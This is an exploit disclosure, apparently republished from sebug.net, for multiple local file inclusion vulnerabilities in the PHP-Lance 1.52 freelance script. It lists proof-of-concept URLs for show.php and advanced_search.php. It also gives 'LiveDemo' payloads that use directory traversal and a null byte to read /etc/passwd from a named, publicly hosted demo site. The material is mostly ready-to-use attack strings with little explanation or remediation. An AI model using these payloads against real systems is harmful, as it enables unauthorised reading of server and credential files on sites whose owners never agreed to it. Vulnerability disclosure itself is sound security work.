PHP-Lance 1.52 Multiple Local File Inclusion Vulnerabilities

############################# Name : PHP-Lance v1.52 price US $349.95 :p Demo : http://www.scriptdemo.com/php-lance/ ############################# ------------------------------------------------------------------------ _________________________________ |Author : jetli007 |alkhari9007[AT]gmail[DOT]com |www.vxx9.cc |Thx&Greets to: 5D;taishi;dr.php;!bad boy!;psycho;ABK;reno ________________________________ ------------------------------------------------------------------------- PoC's: - http:// 127.0.0.1 / [path] /show.php?catid=5&sch=yellow&language=[LFI] - http:// 127.0.0.1 / [path] /show.php?catid=5&sch=yellow&language=[LFI] - http:// 127.0.0.1 / [path] /advanced_search.php?in=[LFI] LiveDemo: - http://www.scriptdemo.com/php-lance/show.php?catid=5&sch=yellow&language=../../../../../../../../../../../../../etc/passwd%00 - http://www.scriptdemo.com/php-lance/show.php?catid=5&sch=yellow&language=../../../../../../../../../../../../../etc/passwd%00 - http://www.scriptdemo.com/php-lance/advanced_search.php?in=../../../../../../../../../../../../../etc/passwd%00 ------------------------------------------------------------------------- # sebug.net